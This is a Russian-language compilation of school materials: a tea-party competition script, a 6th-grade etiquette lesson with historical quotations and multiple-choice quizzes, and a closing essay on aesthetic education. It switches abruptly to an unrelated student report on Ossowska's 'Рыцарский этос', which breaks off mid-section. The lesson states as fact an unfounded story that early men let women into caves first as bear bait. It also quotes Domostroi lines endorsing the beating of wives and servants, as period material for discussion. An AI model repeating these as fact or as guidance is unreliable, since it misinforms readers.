Продукты: чай, травы, сахар, мед, варенье, печенье, пирожки, торт.

Практическая работа: приготовление чая и сервировка стола, расчет количества продуктов.

Ведущий начинает игру, представляет команды и жюри. Команды знакомятся, произносят шутливые приветствия:

Команда I «Валериана»:

«Кошачья травка» —

Больным поправка:

Корешок в аптечку,

Чтоб помочь сердечку.

Команда II «Женьшень»:

Есть корень кривой и рогатый,

Целебною силой богатый.

И, может, два века

Он ждет человека

В чащобе лесной,

Под кедром, сосной.

Команда III «Липа»:

Весной растет, летом цветет,

Осенью осыпается, зимой отсыпается.

А цветок — на медок,

Лечит от гриппа, кашля и хрипа.

Ведущий рассказывает об истории чая:

Был листок зеленым — черным стал, томленым,

Был листочек зубчатым — стал листочек трубчатым.

Был он на лозине — стал в магазине.

Вступительное слово учителя:

Чай — китайское слово. В языки Европы оно пришло двумя путями: народы
Запада вывезли чай из Южного Китая, где это растение именуется te, русские же торговали с китайцами из северных провинций. Там чай называли «ча-е».

Обычай чаепития зародился почти шесть тысяч лет назад на территории современных Китая и Бирмы, где до сих пор на горных склонах можно встретить дикорастущий чайный куст.

Китай был единственным производителем чая, и секрет его производства оберегался под страхом суровых кар. Тем не менее одному англичанину удалось не только похитить семена чая, но и узнать тайну его сложной обработки.
Благодаря этой почти детективной истории европейцы начали разводить чай в колониях.

С 1696 года в Россию стал поставляться чай караванным путем из Китая, а к началу ХVIII века чай прочно вошел в быт русского человека и стал национальным напитком.

I этап. От каждой команды по два человека идут готовить выбранное блюдо. Члены жюри следят за технологией приготовления чая, соблюдением правил безопасности труда, санитарно-гигиенических требований, знакомятся с наглядной частью домашнего задания. Остальные члены команд начинают разминку.

Отгадывание поговорок

1. Изготавливается шесть наборов карточек разного цвета (по 9 в каждом наборе). Из них нужно сложить шесть русских поговорок. Подсказка: каждую поговорку можно составить из карточек одного цвета. (См. приложение).

1. Доброе семя — добрый и всход.

2. Повторенье — мать ученья.

3. Грамоте учиться — всегда пригодится.

4. По капельке — море, по былинке — стог, по зернышку — ворох.

5. Мастерство везде в почете.

6. Делу — время, потехе — час.

2. Ведущий: давным-давно не было книг о хороших манерах, а правила общежития людей закреплялись в пословицах и поговорках — таких точных, что мы можем до сих пор по ним учиться житейской мудрости. Постарайтесь восстановить полный текст пословицы или поговорки.

1. Гостю щей не жалей, а погуще… (лей).

2. В чужом доме не будь приметливым, а будь… (приветливым).

3. Не бойся гостя сидящего, а бойся гостя… (стоящего).

4. Гость часто за шапку берется — не скоро… (уйдет).

5. Кто жаден до еды, тот дойдет… (до беды).

6. Встречают гостя по платью… (провожают по уму).

7. Хозяин весел — гости… (радостны).

8. Частые пирушки изведут… (полушки).

9. Желанный гость зова… (не ждет).

10. Хочешь есть калачи, так не сиди… (на печи).

3. Даются ключевые слова пословиц, нужно составить их полный текст.

1. Золотые руки. (Золотые руки у того, кто обучился хорошо. Золотые ручки не испортят мучки.)

2. Руки-работа. (Для умелой руки все работы легки.)

3. Руки-голова. (Руки работают, а голова кормит.)

4. Работа-лечение. (Работа с увлечением — лучшее лечение. От бессонницы трудом лечатся.)

5. Работа-еда. (Вырастишь рожь — хлеб пожуешь. Поработаешь до поту — будешь есть в охоту. Потрудишься — будешь сыт, поленишься — будешь выть.)

6. Труд-почести. (Сначала труд, а почести потом придут. Кто любит труд, того люди чтут.)

7. Дело-мастер. (Дело мастера боится. Люби дело — мастером будешь.
Мастер дела за все берется смело.)

8. Сеет-глазеет. (Прилежный сеет, лентяй на луну глазеет.)

9. Изба-пироги. (Изба красна углами, а обед пирогами.)

10. Из петуха — уха. (Хорошая хозяйка и из петуха уху сварит.)

Конкурс капитанов

1. Чисто русское изобретение — способ подачи чая ПАРАМИ. Вопрос: как это делали? (Небольшой чайник с заваркой устанавливали на самоварчик либо на чайник с кипятком.)

2. Какое место за столом считается наиболее почетным? (Посередине стола.)

Заключительный этап

Представление готовых блюд и национальных традиций чаепития.

Команда «Валериана» рассказывает о французской чайной церемонии.

Чайный банкет по-французски

По традиции чайный стол должен быть круглой или овальной формы и накрыт льняной цветной скатертью в мягких пастельных тонах (чаще всего желтоватая, но может быть и белой). Салфетки подбирают в тон скатерти. Если чайный банкет устраивается в честь невесты и по поводу знакомства с ее родителями, то чайный стол застилают белой кружевной скатертью и украшают букетами роз нежных оттенков.

Чайник ставится на большой мельхиоровый поднос, сюда же помещаются сахарница, вазочка с вареньем, сливочник и небольшая специальная тарелочка или мисочка для лимона. Десертные тарелки и розетки под варенье стоят в стопках на столе и соответствуют количеству приглашенных гостей. Остальные приборы, такие, как чайные и десертные ложки, вилочки для пирожного, ножи для фруктов, расположены рядами на салфетках. Фрукты подают в высоких вазах, которые ставят посредине стола.

Вначале к столу приглашаются гости старшего поколения.

Задача хозяйки дома — разлить чай по чашкам и подать его гостям.
Дальше за гостями ухаживают дочь хозяйки или ее родственница. Они помогают выбрать угощение, предлагают сливки, сахар, мед, печенье, заново разливают чай, убирают посуду после еды.

Не рекомендуется доливать чай в недопитую чашку, но, если гость желает еще чая, хозяйка должна исполнить его желание. Если же в чашке гостя остались ягоды, долька лимона или чайная гуща, лучше заменить эту чашку на чистую.

Обычно после чая гостям предлагают фрукты, мороженое, жареные орехи.
Затем организуются танцы, игры, другие развлечения.

Команда «Женьшень» представляет чайный вечер по-японски.

Чайный вечер по-японски

Японские чайные традиции из-за сложности церемонии мало распространены.

Способ приготовления зеленого и желтого чая, когда чай заваривается в заранее подогретых круглых фарфоровых заварочных чайниках, является небольшой частью японских чайных церемоний, с которой знакомы жители наших среднеазиатских республик. Такой отдельный круглый чайник и пиала предлагаются каждому гостю. Японцы никогда не подают к чаю ни сахар, ни варенье, ни мед, исключение делают лишь для сушеных фруктов и сухой мучной выпечки.

Вся церемония чаепития происходит в полном молчании, гости и хозяева никогда не ведут бесед — они пребывают в глубоком самосозерцании или раздумьях о законах бытия и гармонии окружающей природы. Многие утверждают, что именно эти самосозерцание и углубление в окружающую природу придают церемонии японского чаепития особую красоту. У японцев четыре принципа чайной церемонии: уважение, скромность, чистота, тишина (молчание).

Команда «Липа» — чайный вечер по-русски.

Чайный вечер по-русски

Особый интерес к чаепитию возник в начале ХVIII века, когда в
Петербурге, Москве и Калуге были построены первые сахарные заводы. Один из иноземных путешественников заметил: русские так долго упражнялись в приготовлении отличного чая, что совершенно неожиданно изобрели самовар. А те, которые отведали чаю из настоящего самовара, считают, что только таким и должен быть настоящий напиток и все другие способы приготовления не могут с ним сравниться.

До прихода гостей надо разогреть самовар, предварительно залив в него свежую воду, приготовить посуду: десертные тарелки, розетки или вазочки для варенья или меда, чайные чашки с блюдцами.

Стол накрывают цветной скатертью, рядом с посудой для каждого гостя кладут салфетку. Из столовых приборов необходимы щипчики для сахара, десертные ножи и вилки для торта, ножи для фруктов, лопатка для пирожных
(торта). Варенье накладывается в розетки заранее и ставится перед приглашенным. На стол подают также кусковой сахар, лимон, фрукты.

Хозяйка занимает место справа от самовара. Самовар является символом всего банкета. За столом гостей обслуживает хозяйка, ей помогает дочь или другая близкая семье особа.

Итог:

Жюри оценивает вкусовые качества чая, затем по результатам деятельности команд (см. таблицу контроля) подводит итоги и называет победителей конкурса.

4. Этикет, поведение, вежливость. Тема «Культура поведения». 6-й класс

Цель урока:

привлечь внимание учащихся к правилам этикета, заинтересовать пятиклассников нормами этикета;

расширить имеющиеся у учащихся знания о культуре поведения, о правилах этикета;

способствовать формированию навыков поведенческой культуры и культуры внешнего вида;

содействовать развитию коммуникативных качеств учащихся.

Основные понятия:

Этикет, поведение, вежливость, взаимоуважение, гуманизм.

Проверка группового задания «Новое общество». Какова главная цель выработанных вами правил? Как вы думаете, обязательно ли в обществе должны существовать правила?

Мотивация урока.

ИГРОВАЯ СИТУАЦИЯ. Давайте представим, что не существует никаких ограничений и правил поведения. Разыграйте небольшую сценку «День непослушания» (задание выполняется группами в течение 4-5 мин.)

Правила морали определяют, что можно, а что нельзя делать. А вот как делать то, что можно, и как избежать неприятных для себя и окружающих ситуаций, определяется правилами этикета.

Запись темы урока в тетрадь.

Словарная работа.

СЛОВАРНАЯ РАБОТА. Подберите однокоренные слова к понятию этикет
(этикетка, этика).

Этикетка — бирка с указанием характеристики товара (качества, цены).

У культурного человека тоже есть своеобразная этикетка — его поведение. Правила поведения — это этикет. Этика — это нормы нравственного поведения человека.

Этикет — установленный порядок поведения.

Поведение — образ жизни и действий.

Вежливость — соблюдение правил приличия, учтивости.

(Карточки с этими определениями вывешиваются на доске).

Вежливым можно назвать человека, который знает и соблюдает правила поведения, правила этикета. Слово «этикет» происходит от французского
«etiquette» — ярлык, поведение. Действительно, манера поведения человека — это его своеобразная визитная карточка. В разное время и у разных народов был разный этикет. Можно услышать: «придворный этикет», «рыцарский этикет»,
«дипломатический этикет».

Иногда правила поведения в общественных местах были неписаные, а иногда их записывали. Так, в ХVI веке на Руси появился «Домострой». Правила поведения играют такую большую роль в жизни общества, что император Петр I собственноручно написал сборник правил этикета «Юности честное зерцало».

Работа в группах

Внимательно прочитайте текст. Какие правила этикета вам нравятся, какие — нет? Какие вы считаете устаревшими, какие считаете необходимыми соблюдать и сегодня?

1-я группа. Домострой (ХVI век).

2-я группа. «Юности честное зерцало» (ХVIII век)

Домострой

«Книга, называемая Домостроем, имеет в себе вещи весьма полезные, в поучение и наставление всякому христианину, муже и жене, и детям…»
Написана в ХVI веке. Автором ее часто называют Сильвестра. Скорее всего
Сильвестр был одним из авторов и редакторов книги…

Надлежит отцу и матери заботиться о детях своих: беречь их и воспитывать в добром наставлении, и учить… вежеству (вежливости, учтивости) и всякому благочинию; и по времени по детям смотря, и по возрасту, учить рукоделию: матери — дочерей, а отцу — сыновей, кто чего достоин, кому какую возможность бог даст… Уча и наставляя, и рассуждая, раны возлагать: наставляй детей в юности, до покоят тебя в старости… А если дети без внимания будут относиться к наставлению отцов и матерей, если что согрешат или какое зло сотворят, и отцам и матерям с детьми грех от бога, а от людей урок и насмешки, а дому потеря, скорбь и убыток, а от судей налог и срамота…
…любите отца и мать свою, и слушайте их, и повинуйтесь им… во всем; и старость их чтите; и немощь их и болезни всякие от всей души несите на своих плечах… Если же кто замолвит или оскорбляет родителей своих, или клянет, или лает, тот перед богом грешен, от народа проклят…

А каждый бы день у мужа жена спрашивалась и советовалась обо всем обиходе… А в гости ходить и к себе звать, общаться, с кем велит муж… беречься жене от пития хмельного… А с гостями беседовать о рукоделии и домашнем строении: как порядок навести и какое рукоделие как делать… а спорят, о чем про кого иногда, и начнут ум испытывать, то отвечать: «Не ведаю я ничего того, и не слыхала, и не знаю; и сама о ненадобном не спрашиваю, но и о княжнах, но и боярынях, но о соседях не пересуждаю».

…У добрых людей, у любящей жены дом всегда чист и устроен; все по чину, все спрятано (лежит на месте), где чему пригоден, все вычищено, подметено; всегда все в порядке: как в рай войти! За всем тем порядком жена должна смотреть и учить слуг и детей добром и лихом; не понимают слова — то и ударить.

И увидит муж, что непорядливо у жены и слуг, или не так, как обо всем в этой памятке написано, то умел бы жену свою наставлять всяким рассуждением и учить…

Юности честное зерцало

Эти правила поведения написаны собственноручно императором Петром I
(ХVIII век) и предназначались дворянским детям. Петр I, борясь с пережитками старины, хотел приобщить русских дворян к европейскому этикету, с которым сам познакомился во время своего пребывания за границей.

«…Отрок должен быть весьма учтив и вежлив как в словах, так и в делах; на руку не дерзок и не драчлив…

Младые отроки должны всегда между собой говорить иностранные языки, дабы тем навыкнуть могли: а особливо когда им что тайное говорить случится, чтоб слуги и служанки дознаться не могли и чтоб можно их от других незнающих болванов распознать…

Когда прилучится (случится) и тебе с другими за столом сидеть, то содержи себя в порядке по сему правилу:

Во-первых, обрежь свои ногти, да не явится якобы оные бархатом обшиты.
Умой руки и сиди благочинно, сиди прямо, не хватай перьвой блюдо, не жри, как свинья, и не дуй в ушное (варево, суп, уха), чтоб везде брызгало, не сопи, когда яси (ешь). Первой не пий, будь воздержан, и бегай пиянства, пий и яждь (ешь), сколько тебе потребно, в блюде будь последний. Когда что тебе предложат, то возьми часть того, прочее отдай другому и возблагодари ему…
Не утирай губ рукою, но полотенцем… не облизывай перстов и не грызи косей, но обрежь ножом. Зубов ножом не чистишь… Над яствою (едой) не чавкай, как свинья, головы не чеши, не проглоти куска, не говори, ибо так делают крестьяне. Часто чихать, сморкать и кашлять непригоже… Около своей тарелки не делай забора из костей, корок хлеба и прочего…»

Обмен информацией и дополнение учителя.

Одни правила этикета не только дошли до нас, но и сохранили первоначальное значение. Например, если в помещение входит взрослый, дети встают в знак уважения.

Другие правила этикета дошли до наших времен, хотя и изменили свое первоначальное значение. Если первобытный человек первой пропускал в пещеру женщину, то он берег себя — охотника, без которого племя могло погибнуть от голода; женщины не добывали много пищи, поэтому для племени не было большой потерей, если на вошедшую первой в пещеру женщину нападет пещерный медведь.
Сегодня мужчина пропускает в помещение женщину, придерживая открытую дверь, в знак внимания к ней.

В средние века рыцари снимали шлем и боевые перчатки, входя в жилище, демонстрируя хозяину свои миролюбивые намерения. Рыцарь в шлеме с опущенным забралом и в перчатках был опасен — он был готов к бою.

Сегодня воспитанный мужчина снимает головной убор, входя в помещение.

Игра «Знаешь ли ты

правила этикета?»

Для проведения этой игры готовится игровой стол, разбитый на сектора
(их могут заменить разложенные по кругу игровые карточки с номерами заданий) и игрушечный волчок.

Класс делится на группы в соответствии с рядами, на которых учащиеся сидят во время обычных уроков. За игровой стол усаживается одна из команд.
Две другие могут играть с места. В случае если основной игрок не даст правильного варианта ответа, отвечают игроки той команды, в которой первой появилась поднятая рука.

Для проведения игры выбираются помощники учителя: секретарь
(записывает на доске результаты игры, подсчитывает очки, которые одновременно заносятся в оценочные листы команды) и хронометрист (по часам следит за тем, чтобы на подготовку ответа не уходило более 30 секунд).
Количество вопросов должно соответствовать количеству игроков.

Каждый поочередно крутит волчок. Право выбора правильного ответа принадлежит тому, кто крутил волчок. Игрок может в случае затруднения обратиться за помощью к своей команде. Если ответ дан немедленно, сэкономленное время переходит на другой вопрос, и им может воспользоваться другой игрок команды (сильные ученики, таким образом, могут помочь
«тугодумам»).

После того как все игроки команды ответили на вопросы, за игровой стол садится следующая команда. После того как в игре приняли участие все команды, подводим итоги. По результатам игры можно выставить оценки наиболее результативным игрокам, а также тем, кто чаще других при обсуждении выдвигал правильные версии ответов. При подведении итогов учитывается полнота, точность, правильность ответов, их оригинальность.

Как правило, в конце урока остается 3-4 минуты. За игровой стол в зависимости от ситуации можно пригласить или ребят, которые не очень хорошо поиграли (дать им дополнительный шанс), или капитанов команд.

Игра заметно оживится, если для некоторых вопросов-заданий учитель заранее приготовит соответствующий реквизит (например, стул, перчатки, шляпу). В этом случае вопрос не просто задается, а проигрывается.

Ниже приводятся тесты для проведения игры. Подбор тестов целесообразно производить в соответствии с конкретными воспитательными задачами, стоящими перед конкретным классом. Для оживления игры можно сгруппировать тесты под рубриками «Для вас, мальчики» и «Для вас, девочки». Можно проводить игру одновременно с двумя соревнующимися между собой командами. В отдельных случаях можно попросить учащихся прокомментировать свой ответ.

Знаешь ли ты правила этикета?
Игра N 1. На улице и в общественном месте.

1. Как здороваются юноша и девушка?

а) первой подает руку девушка;

б) первым подает руку юноша;

в) лучше ограничиться кивком головы;

г) лучше ограничиться словесным приветствием.

2. Кто первым протягивает руку при знакомстве?

а) младший — старшему;

б) старший — младшему;

в) начальник — подчиненному;

г) подчиненный — начальнику.

3. Всегда ли во время знакомства юноша встает?

а) всегда;

б) только при знакомстве с девушкой;

в) по своему усмотрению.

4. Может ли юноша, знакомясь с девушкой, свободную руку держать в кармане?

а) может;

б) может только в том случае, если у него в кармане кошелек с крупной суммой денег;

в) не может — он должен вынуть руку из кармана.

5. Может ли юноша здороваться с сигаретой во рту?

а) может, особенно если сигарета импортная и дорогая;

б) сигарету лучше держать в руке, а не во рту;

в) приветствие и беседа с сигаретой не допустимы.

6. Нужно ли, здороваясь, смотреть человеку в глаза?

а) обязательно, все ваше внимание должно быть сосредоточено на собеседнике;

б) совсем не обязательно — смотря в глаза, можно смутить собеседника;

в) подавая для приветствия правую руку, лучше глядеть чуть левее головы того, с кем здороваешься — это поможет вам обоим избежать смущения.

7. Нужно ли улыбаться, приветствуя человека?

а) конечно, нет — это несерьезно;

б) смотря по настроению;

в) приветливая улыбка желательна всегда.

8. Может ли юноша подать руку в перчатке для рукопожатия?

а) может, если он обменивается рукопожатием с ровесником;

б) не может;

в) может — в сильный мороз.

9. Должна ли девушка снимать перчатку, здороваясь?

а) не должна;

б) должна, если хочет проявить уважение к тому, с кем здоровается, особенно если этот человек старше ее по возрасту;

в) может не снимать, если температура воздуха ниже -50.

10. Можно ли не принять руки, протянутой для рукопожатия?

а) можно;

б) нельзя;

в) это может позволить себе в отдельных случаях женщина.

11. Каким должно быть рукопожатие при знакомстве?

а) крепким и продолжительным;

б) слабым и непродолжительным;

в) крепко сожмите руку нового знакомого и несколько секунд потрясите ее, как бы скрепляя союз;

г) рукопожатие должно быть дружелюбным, но недолгим.

12. Сколько раз в день можно здороваться с одним и тем же человеком?

а) только раз — при первой встрече;

б) каждый раз при встрече;

в) несколько раз, если встречи разделяют более или менее значительные промежутки времени.

13. Нужно ли здороваться с людьми, с которыми вы незнакомы, но часто встречаетесь?

а) конечно, ведь это так естественно;

б) зачем здороваться, если человек незнаком?

в) это возможно, если этот человек проявляет к вам повышенный интерес;

г) ни в коем случае.

14. Нужно ли здороваться со знакомым, увидев его в автомашине?

а) не обязательно;

б) обязательно;

в) только в том случае, если знакомый не сидит за рулем.

15. Незнакомый человек на улице поздоровался с вами, обознавшись. Как быть?

а) сделать вид, что вы не заметили приветствия;

б) ответить приветствием;

в) объяснить человеку его ошибку.

16. Вы обгоняете идущую по улице впереди вас знакомую. Кто из вас двоих должен поздороваться первым?

а) тот, кого обгоняют;

б) тот, кто обгоняет.

17. Как поступить, если вы увидели знакомого слишком поздно и не успели поздороваться или ответить на приветствие?

а) догнать, извиниться и поздороваться;

б) сделать вид, что все в порядке;

в) при следующей встрече все объяснить и извиниться.

18. Можно ли познакомить двух людей, просто подведя их друг к другу и не называя имен, предложить им самим себя представить?

а) это вполне возможно;

б) человек, их знакомящий между собой, обязан представить каждого;

в) человек, знакомящий их, может поступить по своему усмотрению.

19. Кто здоровается первым: входящий или присутствующий?

а) конечно, входящий;

б) первым здоровается тот, кто вежливее;

в) первым здоровается тот из присутствующих, кто первым заметил входящего.

20. Кто здоровается первым: ожидающий или опаздывающий?

а) конечно, ожидающий — он больше к этому готов;

б) конечно, опаздывающий, чтобы смягчить свое опоздание;

в) если опаздывает девушка, то первой она все равно не здоровается.

21. Как познакомить своих друзей с родителями?

а) представить родителей друзьям;

б) представить друзей родителям;

в) как бы невзначай свести своих родителей и друзей и оставить их наедине — пускай познакомятся сами.

22. Как представляется ребенок?

а) называет свое полное имя;

б) называет имя и фамилию;

в) называет имя, фамилию и отчество.

23. Как поступить, если у вас на улице случилось «ЧП» (развязался шнурок ботинка, оторвалась лямка сарафана, ручка сумки и т.д.)?

а) обратиться за помощью к прохожим;

б) не обращая внимания, осторожно продолжать движение;

в) извиниться перед спутником, отойти в сторону и поправить.

24. Как вести себя, если на многолюдной улице вы встретили хорошего знакомого?

а) отправиться в кафе, чтобы там поговорить;

б) отойти в сторону и поговорить;

в) найти сквер и расположиться для беседы на скамейке.

25. Можно ли дотрагиваться до собеседника во время разговора, хлопать его по плечу, колену?

а) это неприлично, особенно если собеседник — малознакомый человек;

б) можно, так как этим вы выражаете особое отношение к собеседнику;

в) можно лишь в ответ на подобные жесты вашего собеседника.

26. Вы чихнули, а находящиеся рядом пожелали: «Будьте здоровы!» Как быть?

а) сделать вид, что не расслышали;

б) поблагодарить;

в) извиниться.

27. На каком расстоянии должны находиться собеседники?

а) чем дальше, тем лучше — но не дальше того расстояния, которое требует крича;

б) чем ближе, тем лучше; если вы будете слушать дыхание собеседника, вы сможете лучше его понять;

в) оптимальное расстояние — около полуметра, именно такое расстояние позволяет говорить спокойно и непринужденно.

28. Какой стороны следует держаться, идя по улице или коридору?

а) левой;

б) правой;

в) середины.

29. Можно ли есть на улице?

а) нельзя;

б) можно, если очень хочется;

в) можно, если это что-то штучное (конфета, мороженое, булочка и т.д.).

30. В дверях класса — давка. Ребята одного класса входят, другого — выходят. Кто должен уступить?

а) те, кто входит;

б) те, кто выходит;

в) входящие и выходящие двигаются осторожно навстречу друг другу.

31. Как поступить, если необходимо сказать что-то с большого расстояния — через коридор, через улицу?

а) крикнуть погромче;

б) не кричать, а показать жестами;

в) подойти поближе и сказать.

32. С какой стороны следует обходить встречных пешеходов?

а) это безразлично, главное, чтобы не мешать прохожим;

б) с правой;

в) с левой.
Игра 2. «В гостях».

1. Если вы пришли к кому-то в гости и вас приглашают пообедать или угощают чем-либо — отказаться или принять приглашение?

а) конечно, отказаться;

б) безусловно, принять приглашение;

в) принять приглашение, но затем вскоре уйти, не обременяя хозяев долгим пребыванием.

2. Модно ли прийти в гости с совершенно не знакомым хозяевам человеком?

а) можно, если вы только что с ним познакомились на улице;

б) можно, предварительно спросив разрешения хозяев;

в) нельзя — это невежливо.

3. У вас праздник. Можно ли встречать гостей в домашних тапочках?

а) конечно, можно, это подчеркивает уют и теплоту домашней обстановки;

б) надо надеть самые нарядные туфли, предназначенные для торжественных случаев;

в) ни в коем случае нельзя; тапочки надо снять и надеть туфли.

4. У вас праздник. Нужно ли предлагать приглашенным гостям тапочки?

а) конечно, им будет приятна ваша забота;

б) тапочки предлагают только в том случае, если для этого у вас припасено несколько пар новых тапочек;

в) предлагать тапочки не нужно; гости должны сами позаботиться о своей обуви.

5. Можно ли разговаривать по телефону, когда пришли гости?

а) можно; пусть знают, как много у вас приятелей и какой вы незаменимый человек;

б) нельзя; извинитесь и попросите перезвонить вам в другое время;

в) можно; к концу вечера, когда гости вам порядком надоели и нет другого способа дать им понять, что вы от них устали.

6. Должен ли быть включен телевизор во время приема гостей?

а) да, особенно если телевизор престижной марки;

б) нет, телевизор нельзя включать, если в доме гости;

в) можно включить телевизор, если идет передача, которая интересует большинство гостей.

7. Как долго следует ждать опаздывающих гостей?

а) столько, сколько вытерпят уже пришедшие гости;

б) 15 минут;

в) ждать вообще не следует, гости не должны опаздывать.

8. Вы опоздали, и гости уже сидят за столом. Как в этом случае вести себя?

а) надо обойти всех гостей и поздороваться с каждым;

б) сесть на отведенное вам место, как ни в чем не бывало;

в) поздороваться с хозяевами и извиниться за опоздание.

9. Ваш гость случайно разбил чашку. Как поступить?

а) порадоваться — «Посуда бьется к счастью»;

б) убрать осколки и без комментариев заменить чашку;

в) сделать вид, что вы ничего не заметили.

10. Если гости принесли торт или конфеты, обязательно ли ими угощать гостей?

а) необязательно, если на десерт уже приготовлены торт и конфеты;

б) обязательно, из вежливости.

11. Как поступить, если нужно уйти из гостей пораньше?

а) заблаговременно подготовить всех гостей к своему уходу;

б) попросить хозяев объяснить всем гостям вашу ситуацию;

в) уйти незаметно, попрощавшись с хозяевами.
Домашнее задание

Групповое задание: продумать сценки на тему «Этикет на каждый день» (1-я группа — «В общественном месте»,

2-я группа — «В театре»,

3-я группа — «В транспорте»,

4-я группа — «Дома»,

5-я группа — «День рождения друга»,

6-я группа — «Знакомство»). Желательно, чтобы в каждой сценке был как положительный, так и отрицательный герой.
Применение знаний

Выпуск стенной газеты «Ах, этикет, этикет, этикет!..»

Участие в Дне этикета.

Заключение

С тех пор как в школе исчезли подпорки всех идеологических структур, как исчезла система пионерской, комсомольской работы, в школе образовался вакуум, который не может сейчас быть заполнен окончательно. Сегодня школы представляют своеобразные учебные комбинаты, куда ребёнок приходит, чтобы изучить физику, химию, биологию … и уходит. Школа перестала быть воспитательным учреждением. Поэтому необходимо внести в школу искусство – в разных пропорциях, видах и формах. Вся идеология школьной работы, и профориентационной в том числе , должна строиться в первую очередь на культуре, традициях, эстетическом воспитании и художественном развитии.
Где, если не в школе, можно дать эту культуру именно каждому ?

«Красота спасёт мир» – с надеждой цитируем из Достоевского. А некоторые – и с привычной иждивенческой ноткой : есть на кого свалить заботу – красота спасёт и вытянет нас из болота, в котором мы сидим по своей лености и нетребовательности духа. Но ведь красоте тоже нужна помощь
! Человека и страну спасёт только дело.

Школе необходим психолог. С одной стороны, школьный психолог – узкий специалист : он детский психолог. с другой стороны, он специалист широкого профиля : также социальный психолог, социолог, специалист по научной организации ученического и учительского труда и профориентации.
Профориентация сейчас превращается в самостоятельную профессию, и настанет время, когда вместе будут работать и психолог и профориентатор.
При подготовке реформ в педагогике проблеме подготовки преподавательских кадров не уделялось должного внимания. Необходимо подчеркнуть, что без решительных перемен в этом отношении государственное решение проблем эстетического воспитания и художественного образования школьников абсолютно неосуществимо. Кардинальное изменение эстетического сознания и профессионального уровня педагогов – единственная прочная возможность прорвать порочный круг, когда одно эстетически неразвитое поколение
«воспитывает» другие.

Литература

1. Академия Вежливых Наук профессора Бонуса / Сост. Хаткина Н.Б., Хаткина

М.А. – Д.: Сталкер, 1997.

2. Маслюни Н. Просим к столу. Рига, 1985.

3. Бачинин В.А. Духовная культура личности.М.Политиздат.1986 .

4. Бондаревский В., Формирование нравственного сознания старшеклассников.

М., Просвещение, 1978.

5. Борев Ю., Эстетитка.М.,Политиздат,1988.

6. Воробьёв Г.Г.Школа будущего начинается сегодня.М.,Просвещение,1991.

7. Гусейнов А. Золотое правило нравственности. М., Молодая гвардия,1979.

8. Дейл Карнеги. Путь к счастью. Киевская книжная фабрика.1991.

9. Единство обучения и воспитания в процессе подготовки у труду молодёжи.

Под ред. Варнаковой Е.Д.М.,1972.
10. Комарова А.И.Эстетическая культура личности. К. Вища школа,1988.
11. Кузнецова Л.В. Гармоничное развитие личности младшего школьника.

М.,Просвещение ,1988.
12. Просуленко А.А. Человек и город. Донецк «Донбасс»,1990.
13. Столяров Ю.С. Уроки творчества.М.,Педагогика,1981.
14. Уледов А.К. Духовная жизнь общества. М. Просвещение , 1986.
15. Ушинский К.Д. О нравственном элементе в воспитании. М. Просвещение

,1978.
16. Эстетика .Словарь. М. Политиздат,1989.

Реферат: Книга Оссовской «Рыцарский этос»

Содержание

Введение

1. Рыцарский этос и его разновидности

2. Буржуазная мораль

Заключение

Введение

Книга Марии Оссовской, польского ученого – филолога, вышла в 1987 году в издательстве «Прогресс» и представляет собой наиболее полное исследование по истории морали и этики.

Книга состоит из двух важных в теоретическом отношении работ: «Рыцарский этос» и «Буржуазная мораль». «Рыцарский этос» — это анализ аристократического нравственного идеала, который преобладал в общественном сознании античности и средневековья. В «Буржуазной морали» мы видим рассмотрение личностно-нравственного образца, явившегося идеализацией условий жизни домонополистической буржуазии, а говоря точнее, получившего господство в раннебуржуазной среде. Статья об этике борьбы ставит вопрос об изменениях в межчеловеческих отношениях, которые обусловлены идеологизацией общественной жизни империалистических государств.

По моему мнению, достоинство книги заключается в том, что в ходе рассмотрения исторических типов нравственности М.Оссовская широко привлекает материал художественной литературы, публицистики, мемуаров, этнографических и социологических исследований, что сделало возможным рекомендовать книгу не только специалистам по истории этики, но и широким кругам читателей.

1. Рыцарский этос и его разновидности

Работа «Рыцарский этос и его разновидности» посвящена рассмотрению разновидностей и эволюции рыцарского этоса, начиная с античности и кончая новейшей историей.

М. Оссовская объясняет, что «этос» — термин, не требующий пояснений. Автор ссылается на то, что в публицистике его часто смешивают со словом «этика». Но этика — это теоретическая дисциплина, которая ставит своей целью определить, что следует и чего не следует делать. А этос — это стиль жизни какой-то общественной группы, общая (как полагают некоторые авторы) ориентация какой-то культуры, принятая в ней иерархия ценностей, которая либо выражена explicite [Здесь: в явном виде (лат.)], либо может быть выведена из поведения людей. Термин «этос» автор применяет к группам, а не к индивидам. Его объем выходит за рамки ценностей, которыми занимается этика. Это один из основных терминов социологии культуры; к ней-то и следует отнести проблематику данной книги.

В данном исследовании, автор пытается воссоздать определенный тип этоса, отличие которого от мещанского этоса представляется очевидным. Там мы видим осторожность и недоверие, здесь — риск и широкий жест (по принципу «все заложи, а себя покажи»). Там — трудолюбие, здесь — презрение к труду ради заработка, в особенности к физическому труду; там — стремление к безопасности, здесь — к славе.

Вначале рассматривается этос Древней Греции, где он воссоздается с помощью гомеровских поэм, и прежде всего «Илиады». Затем автор переходит к Спарте — стране, где правящая элита не выпускала копья из рук. Эти различия заставляют М. Оссовскую отказаться от употребления по отношению к Спарте слов «рыцарь» и «рыцарский»; она заменяет их словом «воин», свободным от «рыцарских» ассоциаций. Личностные образцы рыцарского этоса, по мнению М. Оссовской, окончательно складываются в средневековье, под воздействием «romans courtois»(куртуазных романов). Возрастание роли бюргерства заставляет правящую элиту выработать кодекс, который можно было бы противопоставить притязаниям «третьего сословия» на продвижение в обществе. В главе о придворном автор представляет одну из форм «демилитаризации» рыцарских образцов. Завершается исследование рассмотрением как дальнейшей судьбы рыцарского этоса — образа джентльмена и его развития в Соединенных Штатах, — завершается как раз тогда, когда из восхвалений и порицаний вырисовывается личностный образец, который интересовал автора.

2. Буржуазная мораль

В работе «Буржуазная мораль» обстоятельно анализируется становление и развитие норм и ценностей буржуазной морали и присущих ей личностных образцов поведения.

Как объясняет сама М. Оссовская, «Буржуазная мораль»- попытка рассмотрения вопросов социологии буржуазной морали. В данной работе она пытается убедить нас в том, что мораль — даже ограниченная определенным отрезком времени и пространства — в обществе со сложной классовой структурой раскалывается на разные морали. Также, по мнению автора, те, кто говорит о буржуазной природе каких-либо этических норм, могут иметь в виду совсем не одно и то же. Поэтому она предоставляет нам два новых подхода к понятию термина «буржуазная норма». В рамках первого буржуазными считаются нормы, которые служат интересам буржуазии. В рамках второго буржуазными признаются нормы или доктрины, которые выражают взгляды или настроения буржуазии.

